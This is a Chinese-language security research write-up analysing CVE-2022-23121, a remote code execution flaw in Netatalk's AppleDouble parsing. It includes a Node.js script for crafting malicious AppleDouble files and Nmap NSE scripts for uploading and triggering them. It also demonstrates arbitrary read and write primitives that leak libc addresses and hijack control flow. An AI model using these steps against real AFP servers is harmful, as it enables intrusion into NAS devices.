CVE-2022-23121 Netatalk 远程代码执行漏洞深入分析
时间:2022-05-23
声明:本篇文章由 可可@QAX CERT 原创,仅用于技术研究,不恰当使用会造成危害,严禁违法使用 ,否则后果自负。
一、Netatalk介绍
Netatalk 是一个 Apple Filing Protocol (AFP)
的开源实现。它为 Unix 风格系统提供了与 Macintosh 文件共享的功能。多款NAS产品均有集成该功能。
二、漏洞简介
Netatalk在处理FPOpenFork
命令的时候,由于未检查AppleDouble文件头中的偏移是否超出范围,导致攻击者可以通过控制AppleDouble文件的某些偏移,在内存中进行越界读写,通过该漏洞攻击者可以启动Netatalk的用户权限执行任意命令。
三、Appledouble文件
Appledouble文件格式文档可在下面链接下载,AppleDouble文件是mac上一种存储数据的格式,AppleDouble文件可分为文件头和数据部分,文件头格式如下,对于每个Entry来说,数据在文件内的范围可表示为:[offset:offset+length]
Field Length Magic number 4 bytes Version number 4 bytes Filler 16 bytes Number of entries 2 bytes Entry descriptor for each entry: Entry ID 4 bytes Offset 4 bytes Length 4 bytes
以下是一个有效的Appledouble文件,包含两个entry
entry 1
- entry ID:0x09
- offset:0x32
- length:0x71
entry 2
- entry ID:0x02
- offset:0xA3
- length:0x46
https://web.archive.org/web/20180311140826if_/http://kaiser-edv.de/documents/AppleSingle_AppleDouble.pdf
四、如何生成有效的AppleDouble文件触发漏洞
在https://nosec.org/home/detail/4997.html 中keeee师傅分享了如何通过xattr库生成appledouble文件,这里为了方便生成所需文件对keeee师傅的方法进行魔改。
首先安装 xattr-file和minimist库:
npm install xattr-file npm install minimist
在node_modules目录内找到xattr-file.js文件,修改creat方法,为其添加接受各种偏移的接口,大致如下:
function create(attrs, resoLength, findoff, findlen, forkoff, forklen) { ...... var finderInfoOffset = findoff == -1 ? applLength : findoff var finderInfoLength = findlen == -1 ? (attrLength + keysLength + dataLength) : findlen var resourceForkOffset = forkoff == -1 ? fileLength : forkoff var resourceForkLength = forklen == -1 ? resoLength : forklen
生成xattr文件的nodejs脚本:
var xattr = require("xattr-file");const args = require('minimist')(process.argv.slice(2))const fs = require('fs') var fp = './'var origname = 'read'// resource fork data 部分: var buffer2 = Buffer.from("a".repeat(0x12))var buffer3 = Buffer.from("a".repeat(0x34)) console.log(Buffer.concat([ buffer2, buffer3]).length) // 打印的 resource fork data 长度。 resoLength = Buffer.concat([buffer2, buffer3]).lengthvar findoff = args['findoff'] == undefined ? -1 : parseInt(args['findoff'])var findlen = args['findlen'] == undefined ? -1 : parseInt(args['findlen'])var forklen = args['forklen'] == undefined ? -1 : parseInt(args['forklen'])var forkoff = args['forkoff'] == undefined ? -1 : parseInt(args['forkoff'])// 如果name为空则为readvar name = args["name"] == undefined ? origname : args["name"] console.log('findoff:' + findoff + " findlen:" + findlen + " forkoff:" + forkoff + " forklen:" + forklen) var buffer = xattr.create({ "com.example.Attribute": "my data"}, resoLength, findoff, findlen, forkoff, forklen); var buffer4 = Buffer.concat([buffer, buffer2, buffer3])fs.writeFile(fp + '._' + name, buffer4, { mode: 0o777 }, err => { if (err) { console.error(err) return } else { console.log("success write file, file path: " + fp + '._' + name) } //文件写入成功。}) fs.writeFile(fp + name, "hello world", { mode: 0o777 }, err => { if (err) { console.error(err) return } else { console.log("success write file, file path: " + fp + name) } //文件写入成功。}) fs.chmod(fp+ name, 0o777, () => { console.log("change " + fp+ name + " mode")}) fs.chmod(fp + '._' + name, 0o777, () => { console.log("change " + fp + '._' + name + " mode")})
如何将文件上传到服务器
生成文件后,为了更贴合实际漏洞利用场景,即生成有效AppleDouble文件后通过AFP客户端上传到AFP服务器,这里借鉴Nmap自带的afp的lua库,编写我们自己的上传NSE脚本。
在Nmap中原生包含了afp-ls的NSE脚本,其引用的lua库afp.lua内含有我们通过AFP协议上传文件需要的接口WriteFile,在上传文件的NSE脚本中调用该接口即可
在scripts目录下新建afp-upfile.nse文件,将afp-ls.nse内容粘贴进去,去掉列出文件逻辑的代码,之后编写lua代码,读取文件,将文件内容传给afp.lua内的WriteFile函数即可,最终如下:
......action = function(host, port) -- 这里和afp-ls的逻辑一样 local msg local uploadpath = args["uploadpath"] local filepath = args["filepath"] local poc = io.open(filepath,"r") local data = poc:read("*all") poc:close() status, msg = afpHelper:WriteFile(uploadpath, data) status, response = afpHelper:Logout() status, response = afpHelper:CloseSession() return data end returnend
利用该脚本,可以通过nmap上传文件到afp服务器
nmap -p 548 --script=afp-upfile --script-args "uploadpath=test/._cmd,filepath=./._cmd" ip
五、漏洞成因
libatalk/adouble/ad_open.c#parse_entries
函数为Nettatalk解析buf内的数据到自定义的结构体,通过读取buf内对应offset的数据到传入的ad指针指向的adouble
结构体的某些成员内,完成对相应值的设置,其中buf数据来自读取的._filename的文件。在循环中将buf首地址加上某个offset中的数据通过memcpy
函数拷贝到ad指向的adouble结构体变量内,在循环内含有一个if判断,当处于以下情况时,parse_entries
会返回-1并且打印警告日志
eid > ADEID_MAX,ADEID_MAX=20
off>sizeof(ad->ad_data)
- eid不等于2并且此时的entry的偏移和数据长度相加大于1024
即通过控制文件内的数据,我们可以控制adouble结构体内的entry的off+len+buf超过buf的边界,正常流程中adouble结构体内的entry的off+len+buf不应该越过buf边界。
static int parse_entries(struct adouble *ad, char *buf, uint16_t nentries){ uint32_t eid, len, off; int ret = 0; /* now, read in the entry bits */ for (; nentries > 0; nentries-- ) { memcpy(&eid, buf, sizeof( eid )); eid = get_eid(ntohl(eid)); buf += sizeof( eid ); memcpy(&off, buf, sizeof( off )); off = ntohl( off ); buf += sizeof( off ); memcpy(&len, buf, sizeof( len )); len = ntohl( len ); buf += sizeof( len ); ad->ad_eid[eid].ade_off = off; ad->ad_eid[eid].ade_len = len; if (!eid || eid > ADEID_MAX || off >= sizeof(ad->ad_data) || ((eid != ADEID_RFORK) && (off + len > sizeof(ad->ad_data)))) // ADEID_RFORK { ret = -1; LOG(log_warning, logtype_ad, "parse_entries: bogus eid: %u, off: %u, len: %u", (uint)eid, (uint)off, (uint)len); } } return ret;} // adouble 定义struct adouble {...... char ad_data[AD_DATASZ_MAX]; //AD_DATASZ_MAX = 1024};
在代码里,在以下几处函数中有调用parse_entries
函数
ad_header_read
ad_header_read_osx
ad_header_read_ea
在三处函数中,只有libatalk/adouble/ad_open.c#ad_header_read_osx
函数调用parse_entries
函数时,即使parse_entries
返回-1,该函数不会return
也不会进入异常处理流程,仅仅是通过日志记录,继续执行而不报错。
if (parse_entries(&adosx, buf, nentries) != 0) { LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble", path ? fullpathname(path) : ""); }
之后ad_header_read_osx
会读取adouble
结构体内的偏移,判断finderinfo
的entry len
是否等于32,不等于则进入if内,并调用libatalk/adouble/ad_open.c#ad_convert_osx
函数
在ad_convert_osx
函数中会读取ad
指针指向的adouble
结构体内的entry结构的off和len偏移并调用memmove函数进行内存复制,此偏移恰好是parse_entries 函数从文件读取并赋值的偏移。
static int ad_convert_osx(const char *path, struct adouble *ad){...... origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK); map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0); if (map == MAP_FAILED) { LOG(log_error, logtype_ad, "mmap AppleDouble: %s", strerror(errno)); EC_FAIL; } memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI, map + ad_getentryoff(ad, ADEID_RFORK), ad_getentrylen(ad, ADEID_RFORK)); (void)ad_rebuild_adouble_header_osx(ad, map); munmap(map, origlen);
六、分析函数调用链
通过doxygen+graphviz绘制函数调用链图(https://www.cnblogs.com/realjimmy/p/12892179.html),从图中可以看出完整的函数调用链为:ad_open→ad_open_rf→ad_open_rf_ea→ad_header_read_osx→parse_entries
而ad_open
函数所在的libatalk目录内的代码会被编译为libatalk.so
,最终被afpd
服务使用,在afpd
代码中,由etc/afpd/fork.c#afp_openfork
调用libatalk/adouble/ad_open.c#ad_open
函数。
int afp_openfork(AFPObj *obj _U_, char *ibuf, size_t ibuflen _U_, char *rbuf, size_t *rbuflen){ ..... /* First ad_open(), opens data or ressource fork */ if (ad_open(ofork->of_ad, upath, adflags, 0666) < 0) {.....
在libatalk/adouble/ad_open.c#ad_open
函数中,当请求内设置了ADFLAGS_RF
这个flag才会调用ad_open_rf
函数
if (adflags & ADFLAGS_RF) { // ADFLAGS_RF = 1<<1 = 2 if (ad_open_rf(path, adflags, mode, ad) != 0) { EC_FAIL; }}
七、触发漏洞流程
想要触发该漏洞,必须要了解到afpd服务如何处理客户端请求,以便构造请求执行到漏洞代码处。
启动Netatalk的服务端afpd服务后,在afpd的main
函数入口处初始化一些变量、加载AFP配置、监听端口等。
int main(int ac, char **av){ struct sigactionsv; sigset_t sigs; int ret;...... if (afp_config_parse(&obj, "afpd") != 0)..... obj.options.save_mask = umask(obj.options.umask);...... while (1) { ....... for (int i = 0; i < asev->used; i++) { if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) { switch (asev->data[i].fdtype) { case LISTEN_FD: if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) { if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child))) { ..... kill(child->afpch_pid, SIGKILL); } } break; ......}
之后进入while
循环,调用 etc/afpd/main.c#dsi_start
,dsi_start
调用dsi_getsession
,在dsi_getsession
中调用dsi->proto_open
函数指针,实际指向libatalk/dsi/dsi_tcp.c#dsi_tcp_open
static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children){ afp_child_t *child = NULL; if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) { ...... } /* we've forked. */ if (child == NULL) { configfree(obj, dsi); afp_over_dsi(obj); /* start a session */ exit (0); } return child;} int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp){ // 设置、初始化变量等操作,通过fork函数创建子进程 switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */......}
dsi_tcp_open
函数接收来自客户端的连接,通过fork函数创建子进程
static pid_t dsi_tcp_open(DSI *dsi){ pid_t pid; SOCKLEN_T len; len = sizeof(dsi->client); dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len); ...... if (0 == (pid = fork()) ) { /* child */ ...... } /* send back our pid */ return pid;}
返回到dsi_getsession
函数中,当fork返回的pid为0时,即当前进程为子进程则跳出switch
结构,进入处理DSI数据的逻辑,当返回的pid不为0也不为-1时,即当前进程为父进程,则返回到dsi_start
函数。
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp){ // 设置、初始化变量等操作 switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */ case -1: ...... case 0: // 如果是子进程则直接退出switch,进入处理DSI数据的逻辑 break; default: //如果是父进程则返回到dsi_start函数 ...... dsi->proto_close(dsi); *childp = child; return 0; } .... switch (dsi->header.dsi_command) { // 根据dsi命令执行不同动作 case DSIFUNC_STAT: /* send off status and return */ ..... case DSIFUNC_OPEN: /* setup session */ /* set up the tickle timer */ dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval; dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0; dsi_opensession(dsi); *childp = NULL; return 0; default: /* just close */ LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command); dsi->proto_close(dsi); exit(EXITERR_CLNT); }}
之后回到dsi_start
函数中,如果当前进程为父进程则返回到main
函数中的while
循环中,等待客户端的连接。如果当前进程为子进程则调用afp_over_dsi
函数处理AFP数据,根据不同的AFP命令调用全局变量afp_switch[]
内的不同函数指针进行处理
void afp_over_dsi(AFPObj *obj){ ...... /* get stuck here until the end */ while (1) { ...... cmd = dsi_stream_receive(dsi);...... switch(cmd) { case DSIFUNC_CLOSE: ...... case DSIFUNC_TICKLE: ...... case DSIFUNC_CMD:......function = (u_char) dsi->commands[0]; /* send off an afp command. in a couple cases, we take advantage * of the fact that we're a stream-based protocol. */ if (afp_switch[function]) { dsi->datalen = DSI_DATASIZ; dsi->flags |= DSI_RUNNING; LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function)); AFP_AFPFUNC_START(function, (char *)AfpNum2name(function)); err = (*afp_switch[function])(obj, (char *)dsi->commands, dsi->cmdlen, (char *)&dsi->data, &dsi->datalen); ...... } /* error */ afp_dsi_die(EXITERR_CLNT);}
afp_switch
被preauth_switch
初始化,里面只有少量函数指针,而在postauth_switch
中含有大量函数指针,推测为经过身份验证后afp_switch
被postauth_switch
赋值
static AFPCmd preauth_switch[] = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,/* 0 - 7 */ NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,/* 8 - 15 */ NULL, NULL, afp_login, afp_logincont, afp_logout, NULL, NULL, NULL,/* 16 - 23 */ .....}; AFPCmd *afp_switch = preauth_switch; AFPCmd postauth_switch[] = { NULL, afp_bytelock, afp_closevol, afp_closedir, afp_closefork, afp_copyfile, afp_createdir, afp_createfile,/* 0 - 7 */ afp_delete, afp_enumerate, afp_flush, afp_flushfork, afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,/* 8 - 15 */ afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont, afp_logout, afp_mapid, afp_mapname, afp_moveandrename,/* 16 - 23 */ afp_openvol, afp_opendir, afp_openfork, afp_read, afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams, /* 24 - 31 */ afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams, afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /* 32 - 39 */ afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch, afp_null, afp_null, afp_null, afp_null,/* 40 - 47 */ afp_opendt, afp_closedt, afp_null, afp_geticon, afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,/* 48 - 55 */ afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,......}; static int set_auth_switch(const AFPObj *obj, int expired){ ...... afp_switch = postauth_switch;
在函数调用链中,afp_openfork
在afp_switch
的下标为26,同时26也可以在AFP数据包内看到:
调用总结
总结以上触发流程,触发到afp_openfork
函数需要AFP数据包内Command
字段值为26同时需要设置ADFLAGS_RF
这个flag
,触发漏洞链条为:afp_openfork->ad_open→ad_open_rf→ad_open_rf_ea→ad_header_read_osx→parse_entries
。
函数调用图如下:
如何发送FPOpenFork请求
前面说过在nmap中含有afp相关的脚本,在nmap自带的lua库afp.lua中含有读取文件相关的函数,调用之,最终nse脚本如下,需要注意的是,在FPOpenFork请求中必须设置ADFLAGS_RF
这个flag才会触发到漏洞函数逻辑,在nmap自带的afp.lua的ReadFile
函数中,该flag写死为0,需要修改为0x2,请求中的ADFLAGS_RF
才会被设置。
action = function(host, port)-- 和afp-ls逻辑一样 local str_path = args["path"] local content status, content = afpHelper:ReadFile(str_path) status, response = afpHelper:Logout() status, response = afpHelper:CloseSession() return content end returnend
文件内应该包含什么
在函数调用链中的ad_header_read_osx
函数中,有备注Read an ._ file, only uses the resofork, finderinfo is taken from EA
,该函数只会使用resofork
和finderinfo
这两种entry,所以在生成触发该漏洞的文件时只需要包含这两种entry即可。
八、环境搭建
这里使用Netatalk 3.1.11版本搭建
- 系统版本 Ubuntu 1804
- 内核版本
root@ubuntu:~/nettatalk/netatalk-3.1.11/build/sbin/genefile# uname -a Linux ubuntu 5.13.0-40-generic #45~20.04.1-Ubuntu SMP Mon Apr 4 09:38:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
- libc版本 libc-2.31.so
Netatalk编译
apt-get install -y libdb-dev libgcrypt-dev libcrack2-dev libgssapi-krb5-2 libgssapi3-heimdal libgssapi-perl libkrb5-dev libtdb-dev libevent-dev libdb-devwget https://versaweb.dl.sourceforge.net/project/netatalk/netatalk/3.1.11/netatalk-3.1.11.tar.bz2tar -xjf netatalk-3.1.11.tar.bz2cd netatalk-3.1.11.tar.bz2mkdir buildexport CFLAGS='-g -O0' # 保留调试符号,方便调试./configure \ --with-init-style=debian-systemd \ --without-libevent \--without-tdb \--with-cracklib \--enable-krbV-uam \--enable-debug \--with-pam-confdir=/etc/pam.d \--with-dbus-daemon=/usr/bin/dbus-daemon \--with-dbus-sysconf-dir=/etc/dbus-1/system.d \--with-tracker-pkgconfig-version=1.0 \--prefix=`pwd`/build \--bindir=`pwd`/build/bin \--sbindir=`pwd`/build/sbin makemake install
Netatalk配置
mkdir /tmp/afp_tmp/mkdir /tmp/afp_tmp/Publicmkdir /tmp/afp_tmp/test echo test > /tmp/afp_tmp/test/test.txtecho hello > /tmp/afp_tmp//Public/hello.txtchmod 777 -R /tmp/afp_tmp/Public /tmp/afp_tmp/test/tmp/afp_tmp/afp.conf:[ Global ]uam list = uams_guest.so,uams_clrtxt.so,uams_dhx2.sosave password = nounix charset = UTF8use sendfile = yeszeroconf = noguest account = nobody [ Public ] path =/tmp/afp_tmp/Publicea = auto convert appledouble = no stat vol = no file perm = 777 directory perm = 777veto files = '/Network Trash Folder/.!@#$recycle/.systemfile/lost+found/Nas_Prog/.!@$mmc/'rwlist = "admin","nobody","@allaccount"valid users = "admin","nobody","@allaccount"invalid users = [ test ] path = /tmp/afp_tmp/testea = auto convert appledouble = no stat vol = no file perm = 777 directory perm = 777veto files = '/Network Trash Folder/.!@#$recycle/.systemfile/lost+found/Nas_Prog/.!@$mmc/'rwlist = "admin","nobody","@allaccount"valid users = "admin","nobody","@allaccount"invalid users =
参考:
https://nosec.org/home/detail/4997.html
九、调试
在AFPD中,由子进程负责处理AFP请求,父进程则循环接受客户端的请求,所以这里只需要调试子进程即可,为了方便调试,编写了如下脚本,至于为什么设置条件断点b ad_open.c:1894 if adflags & 2 != 0
在后文说明。
t.shgdb -x debug.gdb attach `ps -ef | grep afpd | grep -v grep | grep -v cnid |awk '{print $2}' | head -1` debug.gdbset follow-fork-mode childset detach-on-fork offset schedule-multiple onb ad_open.c:1894 if adflags & 2 != 0cb ad_open.c:617b ad_open.c:605
启动AFPD服务
./afpd -d -F /tmp/afp_tmp/afpd.conf./cnid_metad -d -F /tmp/afp_tmp/afpd.conf
十、为什么要设置条件断点
将前面生成的appledouble文件通过nmap脚本上传到afp服务器,通过nmap脚本请求该文件触发该漏洞
如果断点没有设置if adflags & 2 != 0
这个条件则gdb会直接断在ad_open.c:1894
,此时请求内ADFLAGS_RF
值为0,不能进入漏洞逻辑,而由于断点,afp无法及时回复nmap数据包,nmap会报超时。
继续执行的话,afpd会收到SIGALRM
信号,无法进入漏洞逻辑
十一、正常调试
上传的._read文件到test目录:
触发漏洞,进入parse_entries
函数内,parse_entries
读取buf里面的数据到ad指向的adouble
结构体中。
最终adouble结构体内entry成员变量被设置为如下值,可以看出finderinfo entry内的off已经越界了:
而正常appledouble文件内,每个entry.ade_off+entry.ad_len
相加应该小于文件大小,在上图中第九个entry即finderinfo的entry.ade_off+entry.ad_len = A27 >文件大小,这个偏移也可以从文件内体现,此时finderinfo的off已越界,此时已经控制了adouble.entry.off
。
十二、如何利用entry内的越界
前面写到,parse_entries
函数可以将adouble结构体内的entry的off和len相加大于文件大小,如果某个地方读取了这个off和len并作为offset读写数据则可能产生越界读写。
继续看ad_header_read_osx调用parse_entries
之后的逻辑,在parse_entries
中如果程序发现off+len越界则会返回-1,如果ad指向的adouble结构体内的finderinfo entry
的ade_len
不等于32则进入if逻辑内,调用到ad_convert_osx
函数。
在ad_convert_osx
函数中,程序将appledouble文件映射到内存中,此时对文件映射的内存的读写即是对该文件的读写。ad_convert_osx
函数映射之后调用了memmove
和ad_rebuild_adouble_header_osx
函数,之后通过munmap
函数取消映射,将内存中的数据写入文件内。
mmap
的长度参数origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK)
即ad.ADEID_RFORK.off + ad.ADEID_RFORK.len
都为可控值
static int ad_convert_osx(const char *path, struct adouble *ad){ ...... origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK); map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0); ...... memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI, map + ad_getentryoff(ad, ADEID_RFORK), ad_getentrylen(ad, ADEID_RFORK)); . (void)ad_rebuild_adouble_header_osx(ad, map); munmap(map, origlen);......}#define ad_getentrylen(ad,eid) ((ad)->ad_eid[(eid)].ade_len)long ad_getentryoff(const struct adouble *ad, int eid){ if (ad->ad_vers == AD_VERSION2) return ad->ad_eid[eid].ade_off; switch (eid) { case ADEID_DFORK: return 0; case ADEID_RFORK:#ifdef HAVE_EAFD return 0;#else return ad->ad_eid[eid].ade_off;#endif default: return ad->ad_eid[eid].ade_off; } /* deadc0de */ AFP_PANIC("What am I doing here?");}
mmap
之后文件已映射到内存中,在经过多次测试后,当resource fork length + resource fork offset ≤1000
时会mmap分配的内存在ld.sodata段上面。
任意写
仔细看调用memmove
时的参数,map
为文件映射到内存的首地址,ad_getentryoff
为获取指定entry id的entry的off,ADEDLEN_FINDERI
为宏定义值为32=0x20
,而我们可以控制各个entry的off和len,通过该处调用,即我们可以从map + ad.ADEID_RFORK.off
处读取任意长度的数据写入到任何高于map+0x20
的内存(前提是该地址可写)也就是将文件中ad.ADEID_RFORK.off
处的数据写入该内存,而ad.ADEID_FINDERI.off
和ad.ADEID_RFORK.off
都为可控值,即可达到任意写。
memmove(map + ad.ADEID_FINDERI.off + 0x20, map + ad.ADEID_RFORK.off, ad.ADEID_RFORK.len);
任意读
任意读发生在任意写的后面的函数调用,在ad_rebuild_adouble_header_osx
函数中有如下语句,该语句将ad.ad_data+ad.ADEID_FINDERI.off
处开始长为0x20的数据写入到adbuf+ADEDOFF_FINDERI_OSX
中,ADEDOFF_FINDERI_OSX
为宏定义,展开后可得值为26+2*12=50=0x32
,而adbuf为mmap
映射后返回的内存地址,该处语句将数据写入到mmap
映射的内存偏移0x32
的位置。
#define ad_entry(ad,eid) ((caddr_t)(ad)->ad_data + (ad)->ad_eid[(eid)].ade_off)int ad_rebuild_adouble_header_osx(struct adouble *ad, char *adbuf){ ...... memcpy(adbuf + ADEDOFF_FINDERI_OSX, ad_entry(ad, ADEID_FINDERI), ADEDLEN_FINDERI); #define ADEDOFF_FINDERI_OSX (AD_HEADER_LEN + ADEID_NUM_OSX*AD_ENTRY_LEN)#define AD_HEADER_LEN (ADEDLEN_MAGIC + ADEDLEN_VERSION + ADEDLEN_FILLER + ADEDLEN_NENTRIES) /* 26 */#define ADEID_NUM_OSX 2#define AD_ENTRY_LEN 12 /* size of a single entry header */
在调用完ad_rebuild_adouble_header_osx
函数后,程序调用munmap
函数取消文件映射,内存内的数据会被写回到appledouble文件中,综合有:可以将ad.ad_data+ad.ADEID_FINDERI.off
处开始长为0x20的数据写入到文件偏移0x32处的地方,此时可以通过读取文件获取任意读的内存的内容。
组合利用
在内存中ad指向的结构体是存放在栈上的,分配的adouble结构体地址位于ad_header_read_osx
栈帧的rbp-0x620
处,可以用调试器测算和__libc_start_main_ret
的地址
gef➤ bt#0 0x00007f624307220b in ad_header_read_osx (path=0x7f62430d6bc0 "._read", ad=0x558ce325bba0, hst=0x7ffcf6e36990) at ad_open.c:698#1 0x00007f6243074e50 in ad_open_rf_ea (path=0x558ce2e38f80 "read", adflags=0x283, mode=0x0, ad=0x558ce325bba0) at ad_open.c:1488#2 0x00007f62430750ae in ad_open_rf (path=0x558ce2e38f80 "read", adflags=0x283, mode=0x0, ad=0x558ce325bba0) at ad_open.c:1529#3 0x00007f6243075d29 in ad_open (ad=0x558ce325bba0, path=0x558ce2e38f80 "read", adflags=0x283) at ad_open.c:1895#4 0x0000558ce2e143bd in afp_openfork (obj=0x558ce2e4d920 , ibuf=0x7f6242b6c022 "uthent", ibuflen=0x12, rbuf=0x558ce3245b10 "", rbuflen=0x558ce3255b10) at fork.c:364#5 0x0000558ce2df2c81 in afp_over_dsi (obj=0x558ce2e4d920 ) at afp_dsi.c:627#6 0x0000558ce2e193ff in dsi_start (obj=0x558ce2e4d920 , dsi=0x558ce3245420, server_children=0x558ce3242240) at main.c:474#7 0x0000558ce2e19102 in main (ac=0x4, av=0x7ffcf6e36fc8) at main.c:417gef➤ i frame 7Stack frame at 0x7ffcf6e36ee0: rip = 0x558ce2e19102 in main (main.c:417); saved rip = 0x7f6242e51083 caller of frame at 0x7ffcf6e36d80 source language c. Arglist at 0x7ffcf6e36d78, args: ac=0x4, av=0x7ffcf6e36fc8 Locals at 0x7ffcf6e36d78, Previous frame's sp is 0x7ffcf6e36ee0 Saved registers: rbp at 0x7ffcf6e36ed0, rip at 0x7ffcf6e36ed8gef➤ p &adosx.ad_data$11 = (char (*)[1024]) 0x7ffcf6e36522gef➤ p 0x7ffcf6e36ed8 - 0x7ffcf6e36522$12 = 0x9b6
任意读是读取ad.ad_data+ad.ADEID_FINDERI.off
处长为0x20
的数据,而ad.ad_data
距离__libc_start_main_ret
为0x9b6
,所以可以设置ad.ADEID_FINDERI.off
为0x9b6以获取__libc_start_main_ret
地址。利用脚本构造文件并利用NSE脚本上传到服务器
通过命令触发该漏洞、
__libc_start_main_ret
地址已经回显在文件内
验证地址:
在https://libc.rip 上验证libc版本:
通过__libc_start_main_ret
地址可以测算system
函数地址
gef➤ p 0x7f6242e51083 - 0x24083 + 0x52290$14 = 0x7f6242e7f290gef➤ p system$15 = {int (const char *)} 0x7f6242e7f290 <__libc_system>gef➤
至此,我们得到了system函数地址,那么如何利用这个地址呢?
Netatalk每次收到客户端请求都是fork子进程处理该请求,父进程继续监听socket,而fork的子进程内存空间和父进程内存空间的内容一样即libc库载入的地址不变,所以可以先发送请求通过任意读获取到system函数地址,第二次发送请求时,由于父进程不变所以system
函数地址不变,通过任意写的system
函数地址不变,才能达到命令执行的效果。
正是因为fork后,内存空间不变的机制才能利用任意读获取到system
函数地址,而后通过任意写覆盖函数指针达到命令执行的效果。
在Netatalk执行过程中,程序出错不会立即退出而是会捕获异常,通过任意写,写入了ld.so的数据段,触发错误,导致了如下崩溃:
gef➤ bt#0 0x00007efeac84c59d in _dl_open (file=0x7efeac733eb9 "libgcc_s.so.1", mode=0x80000002, caller_dlopen=0x7efeac6acfb9 25>, nsid=0xfffffffffffffffe, argc=0x4, argv=0x7ffd9f27a1e8, env=0x7ffd9f27a210) at dl-open.c:786#1 0x00007efeac6df8c1 in do_dlopen (ptr=ptr@entry=0x7ffd9f277d60) at dl-libc.c:96#2 0x00007efeac6e0928 in __GI__dl_catch_exception (exception=exception@entry=0x7ffd9f277d00, operate=operate@entry=0x7efeac6df880 , args=args@entry=0x7ffd9f277d60) at dl-error-skeleton.c:208#3 0x00007efeac6e09f3 in __GI__dl_catch_error (objname=objname@entry=0x7ffd9f277d50, errstring=errstring@entry=0x7ffd9f277d58, mallocedp=mallocedp@entry=0x7ffd9f277d4f, operate=operate@entry=0x7efeac6df880 , args=args@entry=0x7ffd9f277d60) at dl-error-skeleton.c:227#4 0x00007efeac6df9f5 in dlerror_run (args=0x7ffd9f277d60, operate=0x7efeac6df880 ) at dl-libc.c:46#5 __GI___libc_dlopen_mode (name=name@entry=0x7efeac733eb9 "libgcc_s.so.1", mode=mode@entry=0x80000002) at dl-libc.c:195#6 0x00007efeac6acfb9 in init () at backtrace.c:54#7 0x00007efeac7834df in __pthread_once_slow (once_control=0x7efeac76fe68 , init_routine=0x7efeac6acfa0 ) at pthread_once.c:116#8 0x00007efeac6ad104 in __GI___backtrace (array=, size=) at backtrace.c:111#9 0x00007efeac7ec7ff in netatalk_panic (why=0x7efeac818148 "internal error") at fault.c:93#10 0x00007efeac7eca69 in fault_report (sig=0xb) at fault.c:127#11 0x00007efeac7ecac3 in sig_fault (sig=0xb) at fault.c:147#12 #13 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:238#14 0x00007efeac7c10e2 in ad_rebuild_adouble_header_osx (ad=0x7ffd9f279540, adbuf=0x7efeac863000 "") at ad_flush.c:187#15 0x00007efeac7c4d4c in ad_convert_osx (path=0x7efeac829bc0 "._cmd", ad=0x7ffd9f279540) at ad_open.c:617#16 0x00007efeac7c5379 in ad_header_read_osx (path=0x7efeac829bc0 "._cmd", ad=0x55dcb6856780, hst=0x7ffd9f279bb0) at ad_open.c:713#17 0x00007efeac7c7e50 in ad_open_rf_ea (path=0x55dcb5a7ef80 "cmd", adflags=0x283, mode=0x0, ad=0x55dcb6856780) at ad_open.c:1488#18 0x00007efeac7c80ae in ad_open_rf (path=0x55dcb5a7ef80 "cmd", adflags=0x283, mode=0x0, ad=0x55dcb6856780) at ad_open.c:1529#19 0x00007efeac7c8d29 in ad_open (ad=0x55dcb6856780, path=0x55dcb5a7ef80 "cmd", adflags=0x283) at ad_open.c:1895#20 0x000055dcb5a5a3bd in afp_openfork (obj=0x55dcb5a93920 , ibuf=0x7efeac2bf021 "Authent", ibuflen=0x11, rbuf=0x55dcb6840b10 "", rbuflen=0x55dcb6850b10) at fork.c:364#21 0x000055dcb5a38c81 in afp_over_dsi (obj=0x55dcb5a93920 ) at afp_dsi.c:627#22 0x000055dcb5a5f3ff in dsi_start (obj=0x55dcb5a93920 , dsi=0x55dcb6840420, server_children=0x55dcb683d240) at main.c:474#23 0x000055dcb5a5f102 in main (ac=0x4, av=0x7ffd9f27a1e8) at main.c:417
可以看到,程序试图调用位于0x4141414141414000
处的函数
